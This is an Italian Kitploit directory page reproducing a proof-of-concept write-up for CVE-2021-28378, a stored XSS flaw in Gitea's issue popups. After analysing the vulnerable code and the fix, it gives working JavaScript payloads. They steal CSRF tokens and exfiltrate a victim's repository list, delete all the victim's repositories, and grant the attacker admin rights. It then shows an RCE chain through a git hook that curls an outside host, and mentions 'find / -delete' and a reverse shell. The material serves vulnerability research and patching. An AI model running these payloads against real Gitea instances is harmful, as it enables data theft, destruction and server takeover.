Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-28378 — Prova di concetto dettagliata e analisi di CVE-2021-28378, una vulnerabilità XSS memorizzata in Gitea che consente l'iniezione arbitraria di codice, l'escalation dei privilegi e l'esecuzione remota di codice tramite git hooks. | Kitploit
Strumenti/GitHubGitHub/pandatix/cve-2021-28378
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubpandatix/cve-2021-28378

CVE-2021-28378

Prova di concetto dettagliata e analisi di CVE-2021-28378, una vulnerabilità XSS memorizzata in Gitea che consente l'iniezione arbitraria di codice, l'escalation dei privilegi e l'esecuzione remota di codice tramite git hooks.

Vedi Repository
47 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2021-28378

Dettagli su questa CVE qui.

Questa CVE riguarda la mancanza di escaping delle stringhe lato client per i contenuti recuperati dal server. Consente a un attaccante di iniettare facilmente codice arbitrario creando un commento su un issue o una pull request. È stata introdotta nel commit 7d7ab1eeae43d99fe329878ac9c8db5e45e2dee5, alla fine di gennaio 2020, ma a causa di uno squash non possiamo sapere esattamente chi l'ha introdotta per cercare bug simili.

Prima di tutto, capiamo da dove arriva questa vulnerabilità. Per farlo, vediamo il commit che risolve questa CVE.

Prima:

  • Primo:
root@kitploit:~
    labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
  • Secondo:
root@kitploit:~
    html: `
<div>
    <p><small>${issue.repository.full_name} on ${createdAt}</small></p>
    <p><span class="${color}">${svg(octicon)}</span> <strong>${issue.title}</strong> #${index}</p>
    <p>${body}</p>
    ${labels}
</div>
`

Possiamo vedere che non c'è alcun escaping html su label.name, issue.repository.full_name, issue.title e body, che sono stringhe manipolabili da un utente, e quindi possono iniettare codice arbitrario. Nota che issue.repository.full_name non può essere realmente manipolato per iniettare codice poiché deve seguire troppe regole ([\w._-]+) che non possiamo bypassare con questa CVE. Questo è esattamente ciò che la PR risolve convertendole in htmlEscape.

Dopo:

  • Primo:
root@kitploit:~
    labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${htmlEscape(label.name)}</div>`;
  • Secondo:
root@kitploit:~
    html: `
<div>
    <p><small>${htmlEscape(issue.repository.full_name)} on ${createdAt}</small></p>
    <p><span class="${color}">${svg(octicon)}</span> <strong>${htmlEscape(issue.title)}</strong> #${index}</p>
    <p>${htmlEscape(body)}</p>
    ${labels}
</div>
`

Comprendere la vulnerabilità

Diamo un'occhiata al file web_src/js/features/contextpopup.js, per capire come attivare la CVE.

root@kitploit:~
...
const {AppSubUrl} = window.config;

export default function initContextPopups() {
  const refIssues = $('.ref-issue');
  if (!refIssues.length) return;

  refIssues.each(function () {
    const [index, _issues, repo, owner] = $(this).attr('href').replace(/[#?].*$/, '').split('/').reverse();
    issuePopup(owner, repo, index, $(this));
  });
}

function issuePopup(owner, repo, index, $element) {
  $.get(`${AppSubUrl}/api/v1/repos/${owner}/${repo}/issues/${index}`, (issue) => {
...
    for (let i = 0; i < issue.labels.length; i++) {
...
      labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
    }
...

    $element.popup({
      variation: 'wide',
      delay: {
        show: 250
      },
      html: `
<div>
  <p><small>${issue.repository.full_name} on ${createdAt}</small></p>
  <p><span class="${color}">${svg(octicon, 16)}</span> <strong>${issue.title}</strong> #${index}</p>
  <p>${body}</p>
  ${labels}
</div>
`
    });
  });
}

Quello che vediamo è che per ogni nodo con la classe ref-issue, viene aggiunto un popup vulnerabile. Ora, dobbiamo trovare dove un ref-issue viene inviato all'utente: facciamo un grep (e teniamo solo i risultati interessanti, quindi niente file di test o simili)! Il seguente numero di commit corrisponde al tag 1.12.4, la versione predefinita del file docker-compose.yml ufficiale, che è affetto da questa CVE.

root@kitploit:~
cd gitea
git checkout 8a51c48eb6367513e0518bcd412e64f6cbfe5e1a
grep -r ref-issue

modules/markup/html.go:		replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))
modules/markup/html.go:		replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
modules/markup/html.go:		link = createLink(com.Expand(ctx.metas["format"], ctx.metas), reftext, "ref-issue"))
modules/markup/html.go:			link = createLink(util.URLJoin(setting.AppURL, ctx.metas["user"], ctx.metas["repo"], path, ref.Issue), reftext, "ref-issue")
modules/markup/html.go:			link = createLink(util.URLJoin(setting.AppURL, ref.Owner, ref.Name, path, ref.Issue), reftext, "ref-issue")
modules/markup/sanitizer.go:	sanitizer.policy.AllowAttrs("class").Matching(regexp.MustCompile(`ref-issue`)).OnElements("a")

Ora sappiamo che non esiste contenuto statico con la classe ref-issue, ma viene generato dinamicamente. L'ultima riga non è interessante poiché è solo una regola di policy del sanitizer. Le altre sono interessanti, vedremo perché.

Analizziamo modules/markup/html.go.

root@kitploit:~
func fullIssuePatternProcessor(ctx *postProcessCtx, node *html.Node) {
	if ctx.metas == nil {
		return
	}
	m := getIssueFullPattern().FindStringSubmatchIndex(node.Data)
	if m == nil {
		return
	}
	link := node.Data[m[0]:m[1]]
	id := "#" + node.Data[m[2]:m[3]]

	// extract repo and org name from matched link like
	// http://localhost:3000/gituser/myrepo/issues/1
	linkParts := strings.Split(path.Clean(link), "/")
	matchOrg := linkParts[len(linkParts)-4]
	matchRepo := linkParts[len(linkParts)-3]

	if matchOrg == ctx.metas["user"] && matchRepo == ctx.metas["repo"] {
		// TODO if m[4]:m[5] is not nil, then link is to a comment,
		// and we should indicate that in the text somehow
		replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))

	} else {
		orgRepoID := matchOrg + "/" + matchRepo + id
		replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
	}
}

Dovremo anche capire cosa fa getIssueFullPattern.

root@kitploit:~
func getIssueFullPattern() *regexp.Regexp {
	if issueFullPattern == nil {
		appURL := setting.AppURL
		if len(appURL) > 0 && appURL[len(appURL)-1] != '/' {
			appURL += "/"
		}
		issueFullPattern = regexp.MustCompile(appURL +
			`\w+/\w+/(?:issues|pulls)/((?:\w{1,10}-)?[1-9][0-9]*)([\?|#]\S+.(\S+)?)?\b`)
	}
	return issueFullPattern
}

Riassumiamo per capire cosa fa questo codice.

In fullIssuePatternProcessor, dobbiamo prima assicurarci che ctx.metas non sia nil (cosa che assumiamo vera poiché viene costruito da funzioni/metodi più in alto nello stack). Poi controlliamo se i dati del nodo corrispondono a un percorso come http://mygitea.com/gituser/myrepo/issues/1. Se c'è una corrispondenza, lo sostituiamo con un link. Se il link riguarda lo stesso utente e repository, lo sostituiamo con il pattern #<issue_id>, altrimenti con <user>/<repo>#<issue_id>. In entrambi i casi, viene aggiunta una classe ref-issue per generare il popup.

Gli altri risultati del grep fanno più o meno la stessa cosa.

È ora di giocare!

Ora che abbiamo il contesto, che riguarda la sostituzione di un link come http://mygitea.com/gituser/myrepo/issues/1 con un link più corto, possiamo dedurre dove viene fatto questo lavoro: negli issue e nelle PR, dove puoi aggiungere un'etichetta e/o postare un commento.

Per questo, supponiamo di avere un repository con permessi di scrittura.

Etichetta

Vai al tuo repository e crea una nuova etichetta con un nome contenente codice arbitrario (ad esempio <script>alert('label.name')</script>).

Issue

Vai agli issue del tuo repository e crea un nuovo issue con codice arbitrario nel titolo e nel corpo, e aggiungi l'etichetta precedente.

Eseguiamo del codice

Crea un nuovo issue su un qualsiasi repository e aggiungi nel suo corpo un link al tuo issue iniettato come http://mygitea.com/gituser/myrepo/issues/1. Verrà sostituito dal link che abbiamo visto prima, e quando qualcuno passerà il mouse sopra il link, il codice arbitrario verrà eseguito: verrà mostrato un popup che contiene label.name.

Sfruttamento

La CVE-2021-28378 è dimostrata essere in grado di consentire l'iniezione di codice arbitrario. Immaginiamo cosa potrebbe fare un attaccante.

In Gitea, c'è un token CSRF che attesta la tua identità quando compili moduli e/o chiami l'API, prevenendo problemi di sicurezza come l'incorporamento di un iframe di Gitea per rubare i tuoi accessi. Il token CSRF è memorizzato nei tuoi cookie (_csrf), ma anche in praticamente tutte le pagine web (tranne alcune come /api/v1/swagger) che un utente visita sotto alcuni campi... E quindi nelle pagine degli issue/PR. Il campo più interessante che lo contiene si trova nella parte comune dell'intestazione delle pagine HTML, sempre con lo stesso XPath: /html/head/meta[9].

Con questi dati, possiamo ora inviare azioni autenticate da qualsiasi utente colpito dal nostro payload, semplicemente ottenendo il token CSRF in JS con: (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content.

Ora è il momento di usare la tua creatività per costruire vari attacchi. Nota che sarai limitato nelle tue azioni, ma non troppo:

  • label.name e issue.title devono essere brevi, quindi molti payload non ci stanno. Tuttavia, puoi iniettare uno script con un attributo src che fa riferimento a qualsiasi script tu voglia;
  • body non ha limiti di lunghezza, ma l'anteprima del popup limita la visualizzazione dei dati. Il tuo payload dovrà essere all'inizio se vuoi che venga attivato. Tuttavia, puoi fare come specificato precedentemente con uno script e un attributo src.

Diamo un'occhiata ad alcuni esempi che puoi costruire.

Ottenere tutti i repository di un utente

Immagina lo scenario in cui un attaccante vuole ottenere tutti i repository a cui hai accesso. Dimostra che l'attacco può violare la tua riservatezza. Questo attacco si realizza in 3 passaggi:

  • rubare il token CSRF;
  • ottenere l'elenco dei repository;
  • creare un nuovo ticket con il contenuto JSON grezzo del passaggio precedente.

Scriviamo del codice JS per farlo:

root@kitploit:~
var AppURL = "http://mygitea.com";
var HackerRepo = "/hacker/mysaferepo"

var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;

var xhrGet = new XMLHttpRequest();
xhrGet.open("GET", AppURL + "/api/v1/repos/search", true);
xhrGet.onload = function() {
    if (xhrGet.readyState === XMLHttpRequest.DONE) {
        var xhrPost = new XMLHttpRequest();
        xhrPost.open("POST", AppURL + HackerRepo + "/issues/new", true);
        xhrPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xhrPost.send("_csrf=" + CSRF + "&title=Title&content=" + xhrGet.responseText);
    }
}
xhrGet.send(null);

Metti questo payload in un file separato, caricalo nel tuo repository e iniettalo nel corpo di un issue usando qualcosa come <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>.

Ora l'attaccante può commentare un issue/PR che fa riferimento a questo issue iniettato, e quando qualcuno passa il mouse sopra il link, tutti i dati dei suoi repository vengono rubati dall'attaccante!

Eliminare tutti i repository a cui un utente ha accesso

Immagina lo scenario in cui un attaccante vuole eliminare tutti i repository a cui hai accesso. Dimostra che l'attacco può violare la tua integrità. Questo attacco si realizza in 3 passaggi:

  • rubare il token CSRF;
  • ottenere l'elenco dei repository;
  • per ogni repository, eliminarlo (almeno provare).

Scriviamo del codice JS per farlo:

root@kitploit:~
var AppURL = "http://mygitea.com";

var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;

var xhrGet = new XMLHttpRequest();
xhrGet.responseType = "json";
xhrGet.open("GET", AppURL + "/api/v1/repos/search", true);
xhrGet.onload = function() {
    if (xhrGet.readyState === XMLHttpRequest.DONE) {
        data = xhrGet.response.data;
        data.forEach(repo => {
            var xhrPost = new XMLHttpRequest();
            xhrPost.open("POST", repo.html_url + "/settings", true);
            xhrPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            xhrPost.send("_csrf=" + CSRF + "&action=delete&repo_name=" + repo.name)
        });
    }
}
xhrGet.send(null);

Metti questo payload in un file separato, caricalo nel tuo repository e iniettalo nel corpo di un issue usando qualcosa come <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>.

Ora l'attaccante può commentare un issue/PR che fa riferimento a questo issue iniettato, e quando qualcuno passa il mouse sopra il riferimento, tutti i repository a cui ha accesso vengono eliminati!

Ottenere i diritti di amministratore

Immagina lo scenario in cui un attaccante vuole ottenere i diritti di amministratore. Questo dimostra che è possibile un'escalation dei privilegi. Questo attacco si realizza in 2 passaggi:

  • rubare il token CSRF;
  • assegnare i diritti di amministratore all'attaccante (almeno provare).

Scriviamo del codice JS per farlo:

root@kitploit:~
var AppURL = "http://mygitea.com";
var HackerID = "1";
var HackerEmail = "[email protected]";

var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;

var xhr = new XMLHttpRequest();
xhr.open("POST", AppURL + "/admin/users/" + HackerID);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("_csrf=" + CSRF + "&login_type=0-0&login_name=&full_name=&email=" + encodeURIComponent(HackerEmail) + "&password=&website=&location=&max_repo_creation=-1&active=on&admin=on&allow_git_hook=on&allow_create_organization=on");

Nota che il valore di login_type può cambiare in base alla versione di Gitea e al modo in cui la tua istanza gestisce il login.

Metti questo payload in un file separato, caricalo nel tuo repository e iniettalo nel corpo di un issue usando qualcosa come <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>.

Ora l'attaccante può commentare un issue/PR che fa riferimento a questo issue iniettato, e quando qualcuno con diritti sufficienti passa il mouse sopra il riferimento, l'attaccante ottiene i diritti di amministratore! Può anche assegnare l'issue a un amministratore, o creare l'issue su un repository che un amministratore sta osservando (così riceverà una notifica) per aumentare le possibilità.

Ottenere una RCE

La parte """più divertente""" di Gitea è che le considerazioni sulla sicurezza non facevano parte del processo, implementando i git hook. Probabilmente è una delle peggiori idee che potessero implementare.

Una volta ottenuti i diritti di amministratore, puoi concederti il privilegio di gestire i git hook (cosa che si ottiene con il payload precedente). Procedi come fa il modulo Metasploit per Gitea Git Hooks Remote Code Execution:

  • aggiungi il tuo payload bash nel git-hook post-receive;
  • fai commit e push di qualcosa, anche se vuoto;
  • verifica l'effetto del payload.

Per assicurarsi che questa RCE sia valida, mettiamo quanto segue, con un id valido.

root@kitploit:~
#!/bin/bash

curl https://requestbin.net/r/<id>

Nel pannello di ispezione di RequestBin, dopo aver inviato un file che attiva il git hook post-receive, vediamo che è stata effettuata una richiesta con User-Agent: curl/<version> che dimostra che è una RCE valida.

Nota che questa funzionalità implica che per ogni XSS che può essere attivato da un amministratore, finché ci sarà il valore _csrf incorporato in praticamente tutte le pagine web, puoi ottenere una RCE su Gitea.

Come prevenire

Esegui gli aggiornamenti in base alle versioni affette dalla CVE (fai riferimento al report ufficiale). Al momento della stesura: dalla 1.12.0 alla 1.13.4 (esclusa).

Note

Ecco un elenco delle versioni affette e del loro stato di test. Nota che per le versioni 1.13.X, dovrai aggiungere DISABLE_GIT_HOOKS = false nel file app.ini sotto la sezione [security], che potrebbe trovarsi in data/gitea/conf/app.ini, a seconda di dove si trova la cartella dei dati (per il file docker-compose.yml documentato su DockerHub, sarà nella stessa cartella).

✅: funzionante dimostrato ; ❓: necessita di test ; ❌: non funzionante dimostrato

Questa tabella è fatta per guidare il lettore nel calcolo del punteggio: è solo per discutere del punteggio e non deve essere presa come un ordine.

Stringa del vettore: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H/E:H/RL:O/RC:C

Nome gruppo metrichePunteggioDescrizione
Base Score9.0Critico
Temporal Score8.6Alto
Scarica lo strumento
VersioneXSSRCE
1.12.0✅✅
1.12.1✅✅
1.12.2✅✅
1.12.3✅✅
1.12.4✅✅
1.12.5✅✅
1.12.6✅✅
1.13.0✅✅
1.13.1✅✅
1.13.2✅✅
1.13.3✅✅
MetricaValoreSpiegazione
AVNetworkUtilizza HTTP per interagire.
ACLowNecessita solo di un issue (in Gitea per impostazione predefinita è molto facile crearne uno perché è abilitato per tutti) o di una pull request.
PRLowNella maggior parte dei contesti è necessario un account per creare un issue (per impostazione predefinita, puoi registrare nuovi account). Tutti gli account possono creare un issue su un repository in sola lettura, tranne nel caso in cui il repo sia stato configurato per evitare gli issue (che non è l'impostazione predefinita e raramente modificata).
UIRequiredUn utente o amministratore deve passare il mouse sopra il link infetto per attivare un payload.
SChangedCon la RCE, hai accesso alla macchina host e quindi ai servizi collocati.
CHighUna volta ottenuti i diritti di amministratore, puoi gestire tutto anche se è stato configurato privato. Sei in grado di rubare le credenziali del database, connetterti ad esso usando la RCE ed estrarre dati. Con la RCE, puoi leggere direttamente il file system, dove nessun controllo di autenticazione/autorizzazione viene effettuato da Gitea.
IHighUna volta ottenuti i diritti di amministratore, puoi modificare diritti, visibilità, cambiare il codice del repository, persino eliminare il repository. Con la RCE, sei libero di esplorare tutto e quindi influenzare l'integrità di utenti, file...
AHighData la RCE, puoi semplicemente eliminare l'intero file system con find / -delete, causando una perdita totale di disponibilità.
EHighDato lo script python exploit.py, puoi facilmente sfruttare la vulnerabilità, da un account nudo a una reverse shell di root.
RLOfficial FixRisolto dal commit <1e3c3388fb82235d9f3d63a0bad62ca3ff4682ab>, unito in master e quindi in Gitea 1.13.4.
RCConfirmedQuesto report conferma e mostra molteplici exploit, dall'analisi dell'origine dell'XSS fino a un esempio di RCE e script.